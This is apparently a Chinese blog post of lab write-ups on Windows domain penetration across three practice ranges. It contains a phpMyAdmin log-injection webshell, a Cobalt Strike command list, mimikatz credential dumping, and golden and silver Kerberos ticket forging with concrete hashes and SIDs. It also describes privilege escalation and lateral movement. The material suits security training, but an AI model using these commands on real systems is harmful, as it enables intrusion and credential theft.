域渗透基础

本文最后更新于 2026年1月8日 晚上

域渗透基础与实战

基本概念

Windows工作组:对等网络,分散式管理,通过不通的账户实现局域网内多个计算机的使用,其添加方式简单,但规模及其有限、

域(domain):单点登录,使用域账号即可访问域内任何资源,采用集中化管理,具有高度扩展性,可以建立多个域的信任关系

域控制器:负责用户与计算机之间的验证工作的计算机,域控包含了这个域的账户,密码,属于这个域的数据库,是活动目录的存储位置

活动目录(Active Directory):活动目录是微软Windows Server中们负责架构中大型网络环境集中式目录管理服务,域内的计算机共享一个活动目录数据库,包含了整个域的对象和安全信息,活动目录负责目录数据库的添加,修改,更新和删除

域、域树、林、组织单元

img

域树:用域组成的结构树,域树中存在一个根域,往下则有子域

林:是由一棵或者多棵树组成,不同域树独享连续的命名空间

组织单元:是活动目录中的容器,可以理解为文件夹,包含域中的具体对象

域渗透

基本域信息

1
2
3
4
5
6
chcp 65001  #解决乱码
whoami /all # 查看当前用户权限
net user /domain # 获取域用户列表
net group "Domain Admins" /domain # 获取域管理员信息
net config workstation # 查看域名
nltest /dclist:example.com # 获取域控服务器列表
1
2
dsquery server    # 查找域控制器
dsquery user -name * # 获取所有用户

查找域控

1
2
nslookup -querytype=SRV _ldap._tcp.dc._msdcs.example.com
nltest /dclist:example.com

查看域内及其列表

1
net view

红日靶场(一)

内网扫描本地存活网段

1
2
3
4
nmap -PR -n -sn 192.168.190.0/24
#-PR 基于arp协议的主机扫描
#-n 不进行反向DNS,提高扫描速度
#-sn 跳过端口扫描,只确认是否在线

image-20251108195239978

找到靶机

用nmap 扫描端口,发现80端口

1
nmap -sS -sV -sC -Pn -n -p 1-65535 192.168.190.149

image-20251108200227434

扫描一下目录,发现有phpmyadmin

image-20251108200644192

弱口令登录

image-20251108200858687

尝试phpmyadmin日志注入,绝对路径已经由phpinfo得到

1
2
3
SET GLOBAL general_log=on;
SET GLOBAL general_log_file='C:/phpStudy/WWW/hack.php'
SELECT "<?php @eval($_POST['hack']);?>";

蚁剑链接

image-20251108202601397

发现具有administrator权限

image-20251108202703059

上传木马

image-20251108203752797

image-20251108204642654

执行,可以看到主机成功上线

image-20251108204732097

提权

image-20251108205226341

csbeacon命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
beacon> help

Beacon Commands
===============

Command Description
------- -----------
browserpivot 注入受害者浏览器进程
bypassuac 绕过UAC
cancel 取消正在进行的下载
cd 切换目录
checkin 强制让被控端回连一次
clear 清除beacon内部的任务队列
connect Connect to a Beacon peer over TCP
covertvpn 部署Covert VPN客户端
cp 复制文件
dcsync 从DC中提取密码哈希
desktop 远程VNC
dllinject 反射DLL注入进程
dllload 使用LoadLibrary将DLL加载到进程中
download 下载文件
downloads 列出正在进行的文件下载
drives 列出目标盘符
elevate 尝试提权
execute 在目标上执行程序(无输出)
execute-assembly 在目标上内存中执行本地.NET程序
exit 退出beacon
getprivs Enable system privileges on current token
getsystem 尝试获取SYSTEM权限
getuid 获取用户ID
hashdump 转储密码哈希值
help 帮助
inject 在特定进程中生成会话
jobkill 杀死一个后台任务
jobs 列出后台任务
kerberos_ccache_use 从ccache文件中导入票据应用于此会话
kerberos_ticket_purge 清除当前会话的票据
kerberos_ticket_use 从ticket文件中导入票据应用于此会话
keylogger 键盘记录
kill 结束进程
link Connect to a Beacon peer over a named pipe
logonpasswords 使用mimikatz转储凭据和哈希值
ls 列出文件
make_token 创建令牌以传递凭据
mimikatz 运行mimikatz
mkdir 创建一个目录
mode dns 使用DNS A作为通信通道(仅限DNS beacon)
mode dns-txt 使用DNS TXT作为通信通道(仅限D beacon)
mode dns6 使用DNS AAAA作为通信通道(仅限DNS beacon)
mode http 使用HTTP作为通信通道
mv 移动文件
net net命令
note 备注
portscan 进行端口扫描
powerpick 通过Unmanaged PowerShell执行命令
powershell 通过powershell.exe执行命令
powershell-import 导入powershell脚本
ppid Set parent PID for spawned post-ex jobs
ps 显示进程列表
psexec Use a service to spawn a session on a host
psexec_psh Use PowerShell to spawn a session on a host
psinject 在特定进程中执行PowerShell命令
pth 使用Mimikatz进行传递哈希
pwd 当前目录位置
reg Query the registry
rev2self 恢复原始令牌
rm 删除文件或文件夹
rportfwd 端口转发
run 在目标上执行程序(返回输出)
runas 以另一个用户权限执行程序
runasadmin 在高权限下执行程序
runu Execute a program under another PID
screenshot 屏幕截图
setenv 设置环境变量
shell cmd执行命令
shinject 将shellcode注入进程
shspawn 生成进程并将shellcode注入其中
sleep 设置睡眠延迟时间
socks 启动SOCKS4代理
socks stop 停止SOCKS4
spawn Spawn a session
spawnas Spawn a session as another user
spawnto Set executable to spawn processes into
spawnu Spawn a session under another PID
ssh 使用ssh连接远程主机
ssh-key 使用密钥连接远程主机
steal_token 从进程中窃取令牌
timestomp 将一个文件时间戳应用到另一个文件
unlink Disconnect from parent Beacon
upload 上传文件
wdigest 使用mimikatz转储明文凭据
winrm 使用WinRM在主机上生成会话
wmi 使用WMI在主机上生成会话
argue 进程参数欺骗

获取密码凭证

1
logonpasswords

image-20251108210155946

net view查看域内主机

image-20251109153716866

使用nmap 扫描内网资源,发现两台主机

image-20251108210551718

对其中一台端口扫描,有445端口

image-20251109153052814

尝试进行永恒之蓝利用,使用CS内置的psexes模块

image-20251109153551912

红日靶场(二)

一、黄金票据

Kerberos认证协议:Windows域环境用于身份验证的默认协议,通过三方认证确保身份合法性

KDC:密钥分发中心,包含AS(身份认证服务)、TGS(票据授权服务)两个子服务

TGT:票据授予票据、客户端向AS申请的临时身份凭证、后续向TGS申请访问具体服务的权限,由krbtgt账户的哈希加密

ST:服务票据、用于访问特定服务的门票,由目标服务密码哈希加密

Session key:会话密钥,由KDC生成的临时对称密钥,用于服务端和客户端的之间的安全通信

Authenticator:验证器,用sessionkey加密的时间戳,用于证明票据拥有者

KRBTGT账户:域内的内置账户,用于加密/解密TGT

验证流程

1.客户端输入账号密码后,KDC响应生成session key 和TGT,TGT包含session key,KDC对这两个都行进行加密,数据包返回给客户端,TGT用krbtgt密码hash,sessionkey用用户密码hash

2.访问特定服务时,客户端把TGT和Authenticator(由sessionkey加密的时间戳)一起发给TGS,TGS,TGS解密TGT后获得sessionkey,用sessionkey解密Authenticator,验证身份,然后生成一个由服务密钥加密的服务票据和一个新的服务会话密钥,从而拿到访问目标服务的专属门票

image-20260107203824944

3.客户端将服务票据与用服务会话密钥加密的新验证器发送给目标服务,服务端用自己的密钥解密服务票据,提取密钥解密验证器,确认身份后授权访问

image-20260107204139889

黄金票据原理:通过掌控krbtgt用户的hash,来伪造tgt,来冒充域内任何用户

攻击前提:获得域的SID,krbtgt用户的ntml哈希

攻击实施:伪造tgt

内网网段扫描

image-20260107164056041

对154主机进行端口探测

发现7001端口有weblogic开放,工具写码

image-20260107165521300

哥斯拉连接

image-20260107165713131

上线CS,开始收集信息

查看域管理员用户

1
shell net group "domain admins" /domain  

image-20260107172712423

查看其他主机名

1
shell net group "domain computers" /domain

image-20260107173039180

获取机器ip地址

image-20260107173229248

抓取明文密码

1
2
mimikatz sekurlsa::logonpasswords
mimikatz kerberos::purge //清空已有票据

image-20260107173834538

开始横向

image-20260107192711448

权限维持

黄金票据

抓取hashdump,获取ntlm值

image-20260108182100034

1
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:82dfc71b72a11ef37d663047bc2088fb:::

image-20260108182405129

获取Administrator的SID值

image-20260108193714212

1
de1ay\administrator S-1-5-21-2756371121-2868759905-3853650604-500

清空已有票据,如果有域成员凭证会影响凭证伪造

1
mimikatz kerberos::purge

生成票据前,查看域权限,可以看到无法访问

1
shell dir \\DC\C$   //DC是域控主机名字,C$是windows系统默认管理共享文档

生成票据

image-20260108195217598

1
mimikatz kerberos::golden /user:zhuo /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /krbtgt:82dfc71b72a11ef37d663047bc2088fb /endin:480 /renewmax:10080 /ptt

列出当前会话中的票据

1
mimikatz kerberos::list

image-20260108195510367

再次查看域权限,cifs和ldap是同时可用的

image-20260108205701893

白银票据

检查cifs域权限,是失败的,

image-20260108203542398

制作白银票据,访问cifs服务

1
mimikatz kerberos::golden /user:zhup /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /target:dc.de1ay.com /service:cifs /rc4:89b05b05feb5088ac2bbd703cd161850 /ptt

与黄金票据的区别就是多了具体的目标target用于确定服务,hash用的自己用户的hash

可以看到可以访问cifs服务,但是无法访问ldap服务

image-20260108205312247

接下来伪造ldap服务

1
mimikatz kerberos::golden /user:zhup /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /target:dc.de1ay.com /service:ldap /rc4:89b05b05feb5088ac2bbd703cd161850 /ptt

可以看到可以抓取到krbtgt的hash,cifs服务用不了了

image-20260108205441114

image-20260108205532035

可以伪造的服务如下

总结

//CS中监听器的区别与选择

1
2
3
4
beacon http/https   //目标主动向CS服务器发送http请求
beacon dns //目标通过DNS查询请求向CS服务器传输数据
beacon smb //文件共享协议,内网横向专用
beacon tcp //原始tcp连接

白银票据和黄金票据的区别

白银票据伪造的是获取服务的权限,黄金票据伪造的是域管理员的权限

红日靶场(三)

扫描本机网段

image-20251129203744744

发现有主机80端口开放

访问,有登录接口

image-20251129204901965

扫描一下目录,configuration.php文件泄露配置信息,有数据库密码

image-20251129204109284

远程链接数据库

image-20251129204207702

在joomla官方文档中找到了修改密码的操作

img

添加了一个账户admin2:secret,成功登录

image-20251129204925438

网站存在beez3模板,可以直接插入一句话木马

image-20251129205010646

image-20251129205125491

蚁剑链接成功

image-20251129205428059

发现虚拟终端无法执行命令

image-20251129205459569

目录扫描中,有phpinfo泄露,可以看到启用了disable_function

image-20251129205610372

尝试用蚁剑的disable_function插件绕过,这里使用user_filter成功绕过

image-20251129205745049

在目录下面翻到了一对账密,站点开启了ssh服务,猜测应该是ssh的账密

image-20251129205835668

使用ssh登录,登录成功

image-20251129205949770

开始信息收集,可以机器有两个网段,可以判定存在内网

image-20251129210346702

并且这个linux的内核版本存在漏洞,可以用脏牛提权

准备脏牛文件,上传到目标机器,并提权

image-20251129211332104

提权成功,成功创建了一个toor的root账户

image-20251129211715577

使用msf创建一个linux的木马

image-20251129211913138

msf使用exploit/multi/handler监听,成功反弹shell

image-20251129212319700

查看路由

image-20251129212455872

用autoroute模块以此会话添加一个到93网段的路由,方便测试

image-20251129213951368

使用uxiliary/server/socks_proxy,把会话代理出去

1
2
3
use auxiliary/server/socks_proxy
set srvport 6677
set version 4a

使用auxiliary/scanner/discovery/udp_probe模块模块,扫一下内网存活的主机

发现三台主机

image-20251129214125966

使用auxiliary/scanner/portscan/tcp进行端口扫描

image-20251129214452171

image-20251129214553566

image-20251129214916547

发现所有机器都开启了445端口

先尝试扫描是否有永恒之蓝漏洞,发现都没有

image-20251129215036794

尝试smb爆破,成功爆破出密码

image-20251129215303580

使用psexec成功链接

1

image-20251129215720222

以同样的方式获取其他两台机器,只成功了一台,有一台失败了

使用mimikatz抓取密码

1
kiwi_cmd sekurlsa::logonPasswords

image-20251129221333095

抓取到明文密码为zxcASDqw123!!

image-20251129221430429

尝试用psexsc链接失败了

尝试用wmiexec链接成功

image-20251129224356389

总结

psexec:一个轻量级远程执行工具,在目标机器启动psexecsvc服务,把命令回显到客户端,需要对方开启admin$共享,会留痕

wmiexec:基于WMI接口实现远程命令执行,依赖445、135等端口,隐蔽性强,但速度较慢

msf常用模块

1
2
3
4
uxiliary/server/socks_proxy  #代理会话
auxiliary/scanner/portscan/tcp #端口扫描
run auto -s 目的网段 #挂路由
auxiliary/scanner/discovery/udp_probe #主机探测

域渗透基础
http://example.com/2025/09/14/域渗透基础/
作者
清风
发布于
2025年9月14日
许可协议